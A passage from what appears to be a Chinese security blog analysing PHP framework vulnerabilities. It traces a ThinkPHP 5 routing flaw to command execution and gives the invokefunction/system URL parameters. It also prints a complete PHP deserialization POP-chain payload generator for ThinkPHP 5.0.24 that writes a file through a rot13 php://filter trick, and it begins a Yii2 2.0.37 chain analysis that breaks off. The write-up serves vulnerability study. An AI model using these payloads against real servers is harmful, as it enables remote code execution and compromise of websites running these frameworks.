<p>最后返回的<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;path</span>是<span style="background-color: rgba(255, 255, 153, 1)">$pathinfo</span>获取来的,$pathinfo又是通过<span style="background-color: rgba(255, 255, 153, 1)">pathinfo()</span>方法获取来的,跟进pathinfo()方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201109234406178-487044200.png" alt="" width="638" height="364" loading="lazy"></p>
<p>看到这里基本上就破案了,先判断通过$_GET方式传递过来的参数中有没有s传递过来的参数,如果有的话就获取,最后去掉两边的<span style="background-color: rgba(255, 255, 153, 1)">' / '</span>然后return,也就是"<span style="background-color: rgba(255, 255, 153, 1)">index/think\app/invokefunction</span>"</p>
<p>继续往下走,可以看到有如下判断</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$must = !is_null(self::$routeMust) ? self::$routeMust : $config[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">url_route_must</span><span style="color: rgba(128, 0, 0, 1)">'</span>];</span></pre>
</div>
<p>如果开启了强制路由,那么输入的路由将报错导致后面导致程序无法运行,也就不存在RCE漏洞,但是默认是开启的。</p>
<p>最后调用<span style="background-color: rgba(255, 255, 153, 1)">Route::parseUrl()</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110000726472-759985507.png" alt="" width="883" height="248" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110001554366-91094100.png" alt="" width="883" height="358" loading="lazy"></p>
<p>先通过<span style="background-color: rgba(255, 255, 153, 1)">str_replace()</span>函数将<span style="background-color: rgba(255, 255, 153, 1)">$url("index/think\app/invokefunction")</span>中的<span style="background-color: rgba(255, 255, 153, 1)">' / '</span>替换成<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>,然后调用<span style="background-color: rgba(255, 255, 153, 1)">parseUrlPath</span>对$url进行分割,会把<span style="background-color: rgba(255, 255, 153, 1)">index/\think\app/invokefunction</span>以<span style="background-color: rgba(255, 255, 153, 1)">' / '</span>为分隔符,分成<span style="background-color: rgba(255, 255, 153, 1)">['index','think\app','invokefunction']</span>。</p>
<p>根据thinkphp路由规则<span style="background-color: rgba(255, 255, 153, 1)">index</span>为模块 、<span style="background-color: rgba(255, 255, 153, 1)">think\app</span>为控制器、<span style="background-color: rgba(255, 255, 153, 1)">invokefunction</span>为操作,最后封装成路由</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110002217354-1465544639.png" alt="" width="901" height="391" loading="lazy"></p>
<p>到这里为止<span style="background-color: rgba(255, 255, 153, 1)">App::routeCheck()</span>方法才算走完</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110002510286-192790602.png" alt="" width="726" height="208" loading="lazy"></p>
<p>继续往下读App.php的代码,关键代码在<span style="background-color: rgba(255, 255, 153, 1)">App::exec</span>中,因为返回值中为<span style="background-color: rgba(255, 255, 153, 1)">module</span>,因此进入黄色部分</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110003646394-1878424898.png" alt="" width="842" height="286" loading="lazy"></p>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">module</span>方法,黄色部分检测<span style="background-color: rgba(255, 255, 153, 1)">module</span>是否存在,不存在则报错。<img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110171434352-913856897.png" alt="" width="848" height="380" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110171606416-1486045006.png" alt="" width="478" height="226" loading="lazy"></p>
<p>上面代码表示只要<span style="background-color: rgba(255, 255, 153, 1)">$module</span>存在,并且<span style="background-color: rgba(255, 255, 153, 1)">$available</span>为True,就可以初始化模块,并进行调用。</p>
<p>继续往下看代码,构造控制器的过程调用了<span style="background-color: rgba(255, 255, 153, 1)">Loder::controller</span>方法,然后又调用了<span style="background-color: rgba(255, 255, 153, 1)">self::getModuleAndClass</span>该方法就是获取Module、Class的,这里通过判断$name中是否存在<span style="background-color: rgba(255, 255, 153, 1)">' \ '</span>,若存在class就是$name,此时$name为<span style="background-color: rgba(255, 255, 153, 1)">think\App</span>,因此<span style="background-color: rgba(255, 255, 153, 1)">$class=think\App</span>,至此就成功调用了App类</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110172601127-1107177748.png" alt="" width="849" height="210" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110172622437-2009673675.png" alt="" width="811" height="479" loading="lazy"></p>
<p>控制器之后会获取当前的操作名,跟进<span style="background-color: rgba(255, 255, 153, 1)">self::invokeMethod()</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110173942307-1901023290.png" alt="" width="830" height="469" loading="lazy"></p>
<p>该方法里用了<span style="background-color: rgba(255, 255, 153, 1)">ReflectionMethod</span>来构造App类的<span style="background-color: rgba(255, 255, 153, 1)">invokefunction</span>方法,然后就是调用<span style="background-color: rgba(255, 255, 153, 1)">App::invokefunction()</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110174034070-926914784.png" alt="" width="831" height="250" loading="lazy"></p>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">App::invokefunction()</span>,最后就是执行命令的地方,利用<span style="background-color: rgba(255, 255, 153, 1)">ReflectionFunction</span>,来构造自己想要的函数执行即可,<span style="background-color: rgba(255, 255, 153, 1)">$function</span>、<span style="background-color: rgba(255, 255, 153, 1)">$vars</span>,都可以通过$_GET方式获取</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110174321981-478185155.png" alt="" width="827" height="301" loading="lazy"></p>
<p>因此通过url传参<span style="background-color: rgba(255, 255, 153, 1)">function=call_user_func_array&amp;vars=system&amp;vars[]=whoami</span></p>
<p><span style="background-color: rgba(255, 255, 153, 1)"><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201110174725217-873714846.png" alt="" width="822" height="62" loading="lazy"></span></p>
<h2>Thinkphp5.0.24反序列化导致命令执行</h2>
<p>这个漏洞是框架的反序列化漏洞,只有二次开发实现了反序列化才可以利用,在<span style="background-color: rgba(255, 255, 153, 1)">/application/index/controller/Index.php</span>中添加反序列化反序列化触发点代码</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Index
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function index()
    {
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Welcome thinkphp 5.0.24</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      unserialize(base64_decode($_GET[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]));
    }
}</span></span></pre>
</div>
<p>此版本的利用方式是通过反序列化达到写文件的目的。起点在<span style="background-color: rgba(255, 255, 153, 1)">thinkphp/library/think/process/pipes/Windows.php</span>中的windows类的<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>析构函数</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201111231529992-300127676.png" alt="" width="500" height="143" loading="lazy"></p>
<p>这里调用了<span style="background-color: rgba(255, 255, 153, 1)">removeFiles()</span>方法,跟进查看:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201111232101618-1642391505.png" alt="" width="449" height="235" loading="lazy"></p>
<p>这里将<span style="background-color: rgba(255, 255, 153, 1)">$filename</span>传入<span style="background-color: rgba(255, 255, 153, 1)">file_exists()</span>方法,如果$filename为某个类的对象,使用file_exists()会触发该类的<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法</p>
<p>这时候全局搜索<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法,跟踪判断可用的类,这里选择<span style="background-color: rgba(255, 255, 153, 1)">thinkphp/library/think/Model.php</span>中的<span style="background-color: rgba(255, 255, 153, 1)">Model</span>类的<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201111232857262-2123564414.png" alt="" width="278" height="136" loading="lazy"></p>
<p>函数里面调用了<span style="background-color: rgba(255, 255, 153, 1)">toJson()</span>方法,跟进查看</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201111233250706-324433122.png" alt="" width="447" height="204" loading="lazy"></p>
<p>继续跟进<span style="background-color: rgba(255, 255, 153, 1)">toArray()</span>方法查看,因为代码量太多,这里列出关键代码:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201111234659301-276146950.png" alt="" width="567" height="509" loading="lazy"></p>
<p>关键代码在下面黄色框中,使用<span style="background-color: rgba(255, 255, 153, 1)">method_exists()</span>判断<span style="background-color: rgba(255, 255, 153, 1)">$relation</span>是否为该类下的方法,而<span style="background-color: rgba(255, 255, 153, 1)">\$modelRelation = \$this-&gt;$relation()</span>,并且<span style="background-color: rgba(255, 255, 153, 1)">$relation</span>的值由<span style="background-color: rgba(255, 255, 153, 1)">$name</span>的值决定,同时<span style="background-color: rgba(255, 255, 153, 1)">$name</span>的值由<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;append</span>决定,<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;append</span>的值可控,意味着<span style="background-color: rgba(255, 255, 153, 1)">$modelRelation</span>也是可控的。这里选择<span style="background-color: rgba(255, 255, 153, 1)">Model</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">getError</span>方法,因为其返回值直接可控</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201111235422658-841930996.png" alt="" width="358" height="190" loading="lazy"></p>
<p>到这里跟进<span style="background-color: rgba(255, 255, 153, 1)">getRelationData()</span>方法看一下具体操作</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201111235736702-1981453381.png" alt="" width="813" height="250" loading="lazy"></p>
<p>当执行到<span style="background-color: rgba(255, 255, 153, 1)">\$value = $modelRelation-&gt;getRelation()</span>时,就可以执行任意类的<span style="background-color: rgba(255, 255, 153, 1)">getRelation</span>方法,这里可选择的就比较多,比如HasOne.php,BelongsTo.php...这里选择位于<span style="background-color: rgba(255, 255, 153, 1)">thinkphp/library/think/model/relation/HasOne.php</span>的HasOne类的<span style="background-color: rgba(255, 255, 153, 1)">getRelation</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112000507502-1422563169.png" alt="" width="540" height="357" loading="lazy"></p>
<p>重点是上述黄框中的代码,由于<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;query</span>是可控的参数,如果<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;query</span>为某类的对象,此类中不存在<span style="background-color: rgba(255, 255, 153, 1)">removeWhereField</span>方法,那么就会调用此类的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>,并且传进去的参数<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;foreignKey</span>也是可控的参数。这里需要全局搜索可以利用的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>。这里选择触发位于<span style="background-color: rgba(255, 255, 153, 1)">thinkphp/library/think/console/Output.php</span>的Output类的<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>方法</p>
<p>跟进Output类中的__call方法:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112001625193-1850583810.png" alt="" width="572" height="277" loading="lazy"></p>
<p>首先把$args传入<span style="background-color: rgba(255, 255, 153, 1)">block</span>方法中,跟进查看</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112002552654-1467731991.png" alt="" width="457" height="131" loading="lazy"></p>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">writeln</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112002708106-869748781.png" alt="" width="500" height="119" loading="lazy"></p>
<p>跟进<span style="background-color: rgba(255, 255, 153, 1)">write</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112002808227-62387644.png" alt="" width="587" height="129" loading="lazy"></p>
<p>这里<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;handle</span>可控,可以实现对任意类的<span style="background-color: rgba(255, 255, 153, 1)">write</span>方法的调用,全局搜索<span style="background-color: rgba(255, 255, 153, 1)">-&gt;write(</span>,来寻找调用write的类。这里选择位于<span style="background-color: rgba(255, 255, 153, 1)">think/session/driver/Memcache.php</span>的<span style="background-color: rgba(255, 255, 153, 1)">Memcache</span>类的<span style="background-color: rgba(255, 255, 153, 1)">write</span>方法&nbsp;</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;handle = <span style="color: rgba(0, 0, 255, 1)">new</span> Memcache()</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112003057484-241072752.png" alt="" width="780" height="122" loading="lazy"></p>
<p>同样<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;handler</span>可控,这样可以调用其他类的<span style="background-color: rgba(255, 255, 153, 1)">set</span>方法,这里选择位于<span style="background-color: rgba(255, 255, 153, 1)">thinkphp/library/think/cache/driver/File.php</span>的<span style="background-color: rgba(255, 255, 153, 1)">File</span>类的<span style="background-color: rgba(255, 255, 153, 1)">set</span>方法</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;handler = <span style="color: rgba(0, 0, 255, 1)">new</span> File();</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112003841417-1679477776.png" alt="" width="584" height="460" loading="lazy"></p>
<p>这也是反序列化链最后写文件的地方,看一下<span style="background-color: rgba(255, 255, 153, 1)">file_put_contents(\$filename, $data)</span>的两个参数的来源,<span style="background-color: rgba(255, 255, 153, 1)">$filename</span>需要跟进<span style="background-color: rgba(255, 255, 153, 1)">getCacheKey()</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112004026611-269384667.png" alt="" width="469" height="333" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">$filename</span>是由<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;options['path']</span>和<span style="background-color: rgba(255, 255, 153, 1)">$name</span>组成的,两个参数都是可控的,所以<span style="background-color: rgba(255, 255, 153, 1)">$filename</span>就是可控的,其中md5值可以自己计算出来。</p>
<p>然后看一下<span style="background-color: rgba(255, 255, 153, 1)">$data</span>,其值由<span style="background-color: rgba(255, 255, 153, 1)">$value</span>决定,向上回溯会发现,该值的类型是布尔类型</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112004544276-914484217.png" alt="" width="465" height="125" loading="lazy"></p>
<p>此处的<span style="background-color: rgba(255, 255, 153, 1)">$data</span>值不可控,那么目前我们无法写shell,回到<span style="background-color: rgba(255, 255, 153, 1)">File.php::set()</span>方法中,注意到一条语句<span style="background-color: rgba(255, 255, 153, 1)">\$this-&gt;setTagItem($filename)</span>,跟进<span style="background-color: rgba(255, 255, 153, 1)">setTagItem</span>方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112004912560-719771876.png" alt="" width="481" height="300" loading="lazy"></p>
<p>可以发现在<span style="background-color: rgba(255, 255, 153, 1)">setTagItem()</span>方法最后重新调用了<span style="background-color: rgba(255, 255, 153, 1)">set</span>方法,因为<span style="background-color: rgba(255, 255, 153, 1)">\$key = 'tag_' . md5(\$this-&gt;tag)</span>中<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;tag</span>可控,所以这个<span style="background-color: rgba(255, 255, 153, 1)">$key</span>也是可控,而当else的时候<span style="background-color: rgba(255, 255, 153, 1)">\$value = $name</span>,并且<span style="background-color: rgba(255, 255, 153, 1)">$name</span>是之前分析过的<span style="background-color: rgba(255, 255, 153, 1)">$filename</span>传进来的参数,所以<span style="background-color: rgba(255, 255, 153, 1)">$value</span>也是可控的,在最后的时候会再次调用<span style="background-color: rgba(255, 255, 153, 1)">set</span>方法,同时也能完全控制写入的文件名和文件内容,但是在写入文件内容时:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$data = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php\n//</span><span style="color: rgba(128, 0, 0, 1)">"</span> . sprintf(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">%012d</span><span style="color: rgba(128, 0, 0, 1)">'</span>, $expire) . <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\n exit();?&gt;\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)"> . $data;
$result </span>= file_put_contents($filename, $data);</span></pre>
</div>
<p>如果想要写入我们的payload,需要绕过前面<span style="background-color: rgba(255, 255, 153, 1)">exit()</span>方法的限制,这里可以参考以下几种方法《file_put_content和死亡·杂糅代码之缘》</p>
<p>这里使用<span style="background-color: rgba(255, 255, 153, 1)">伪协议+rot13编码</span>绕过,不过前提是服务器没有开启短标签,在本地尝试写入:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201112171000444-684352598.png" alt="" width="687" height="131" loading="lazy"></p>
<p>整个反序列化调用链为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">file_put_contents &lt;- File.php::<span style="color: rgba(0, 0, 255, 1)">set</span>() &lt;- Driver.php::setTagItem() &lt;- File.php::<span style="color: rgba(0, 0, 255, 1)">set</span>() &lt;- Memcache.php::write() &lt;- Memcache.php::writeln() &lt;- Output.php::block() &lt;- Output.php::__call() &lt;- HasOne.php::getRelation() &lt;- Model.php::getRelationData &lt;- Model.php::getError() &lt;- Model.php::toArray() &lt;- Model.php::toJson() &lt;- Model.php::__toString() &lt;- Windows.php::removeFiles() &lt;- Windows.php::__destruct()</span></pre>
</div>
<p>结合上面的分析尝试写一下payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\session\driver;
    use think\cache\driver\File;
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Memcached{
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span> $handler = <span style="color: rgba(0, 0, 255, 1)">null</span><span style="color: rgba(0, 0, 0, 1)">;
      function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;handler = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> File();//此处赋值$this-&gt;handler为File类的一个对象,这样就可以调用File.php::set()方法
      }
    }

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\cache;
    </span><span style="color: rgba(0, 0, 255, 1)">abstract</span> <span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Driver{</span>
<span style="color: rgba(0, 0, 0, 1)">      function __construct(){</span><span style="color: rgba(0, 0, 0, 1)">}
    }

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\cache\driver;
    use think\cache\Driver;
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> File extends Driver{//此处重写File.php::set方法,构造写入的$filename
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $tag;
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span> $options =<span style="color: rgba(0, 0, 0, 1)"> [];
      function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;tag = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">nocatch</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;options =<span style="color: rgba(0, 0, 0, 1)"> [
                </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">cache_subdir</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">,
                </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">prefix</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">''</span><span style="color: rgba(0, 0, 0, 1)">,
                </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">path</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php://filter/write=string.rot13/resource=./static/&lt;?cuc cucvasb();?&gt;</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,//rot13编码
                </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">data_compress</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(0, 0, 255, 1)">false</span><span style="color: rgba(0, 0, 0, 1)">,
            ];
      }
    }

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\console;
    use think\session\driver\Memcached;
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Output{
      </span><span style="color: rgba(0, 0, 255, 1)">private</span> $handle = <span style="color: rgba(0, 0, 255, 1)">null</span><span style="color: rgba(0, 0, 0, 1)">;
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span> $styles =<span style="color: rgba(0, 0, 0, 1)"> [];
      function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;styles = [<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">removeWhereField</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;handle = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Memcached();//此处赋值$this-&gt;handle为Memcached的一个对象,来调用Memcached::write()方法
      }
    }

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\model;
    use think\console\Output;
    </span><span style="color: rgba(0, 0, 255, 1)">abstract</span> <span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Relation{
          </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $query;
          </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $foreignKey;
          function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;query = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Output();//此处赋值$this-&gt;query为Output的一个对象,这样因为不存在removeWhereField方法,从而会调用Output类的__call方法
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;foreignKey = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">aaaaaaaaa</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;//参数
      }
    }

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\model\relation;
    use think\model\Relation;
    </span><span style="color: rgba(0, 0, 255, 1)">abstract</span> <span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> OneToOne extends Relation{}

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\model\relation;
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> HasOne extends OneToOne{}

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think;
    use think\model\relation\HasOne;
    use think\console\Output;
    </span><span style="color: rgba(0, 0, 255, 1)">abstract</span> <span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Model{
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span> $append =<span style="color: rgba(0, 0, 0, 1)"> [];
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $error;
      </span><span style="color: rgba(0, 0, 255, 1)">protected</span><span style="color: rgba(0, 0, 0, 1)"> $parent;
         function __construct(){
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;append = [<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">bmjoker</span><span style="color: rgba(128, 0, 0, 1)">'</span>=&gt;<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">getError</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;error = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> HasOne();//此处赋值$this-&gt;error为类HasOne的一个对象
      }
    }

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\process\pipes;
    use think\model\concern\Conversion;
    use think\model\Pivot;
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Windows
    {
      </span><span style="color: rgba(0, 0, 255, 1)">private</span> $files =<span style="color: rgba(0, 0, 0, 1)"> [];
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
      {
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;files=[<span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Pivot()];//此处赋值$filename为类Pivot的一个对象
      }
    }

    </span><span style="color: rgba(0, 0, 255, 1)">namespace</span><span style="color: rgba(0, 0, 0, 1)"> think\model;
    use think\Model;
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Pivot extends Model{}//此处会自动调用Model类

    use think\process\pipes\Windows;
    echo base64_encode(serialize(</span><span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Windows()));
</span>?&gt;</span></pre>
</div>
<p>注意这个洞在windows下是复现不了的,因为windows对文件名有限制,会写入失败。</p>
<h1>Yii2.0.37反序列化导致命令执行</h1>
<p>漏洞版本为&lt;2.0.37,从github拉取代码下来:https://github.com/yiisoft/yii2/releases</p>
<p>下载到本地后解压到phpstudy/www目录,修改<span style="background-color: rgba(255, 255, 153, 1)">config/web.php</span>文件里<span style="background-color: rgba(255, 255, 153, 1)">cookieValidationKey</span>的值</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115154201207-1204760074.png" alt="" width="546" height="77" loading="lazy"></p>
<p>在Controller目录下添加一个反序列化的入口代码:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115154310807-1492428212.png" alt="" width="668" height="282" loading="lazy"></p>
<p>测试是否搭建成功</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115154751835-64612317.png" alt="" width="566" height="89" loading="lazy"></p>
<p>来分析一下漏洞</p>
<h2>第一条POP链</h2>
<p>反序列化的起点是在<span style="background-color: rgba(255, 255, 153, 1)">yii\db\BatchQueryResult</span>类的析构函数<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>,文件位置<span style="background-color: rgba(255, 255, 153, 1)">/vendor/yiisoft/yii2/db/BatchQueryResult.php</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115144414670-1096602776.png" alt="" width="503" height="403" loading="lazy"></p>
<p>这里调用了<span style="background-color: rgba(255, 255, 153, 1)">reset()</span>方法,跟进发现在reset()方法中通过<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;_dataReader</span>调用了<span style="background-color: rgba(255, 255, 153, 1)">close()</span>方法,因为这里<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;_dataReader</span>参数是可控的,由此的话可以通过赋值为其他类的对象来调用其他类的<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>魔术方法。全局搜索关键字<span style="background-color: rgba(255, 255, 153, 1)">function __call(</span>来寻找可用的类:<br><img src="https://img2020.cnblogs.com/blog/1344396/202011/1344396-20201115144845931-774790283.png" alt="" width="273" height="332" loading="lazy"></p>
<p>这里选择<span style="background-color: rgba(255, 255, 153, 1)">Faker\Generator</span>类下的__call()方法,文件路径在<span style="background-color: rgba(255, 255, 153, 1)">vendor\fzaninotto\faker\src\Faker\Generator.php</span>:</p>
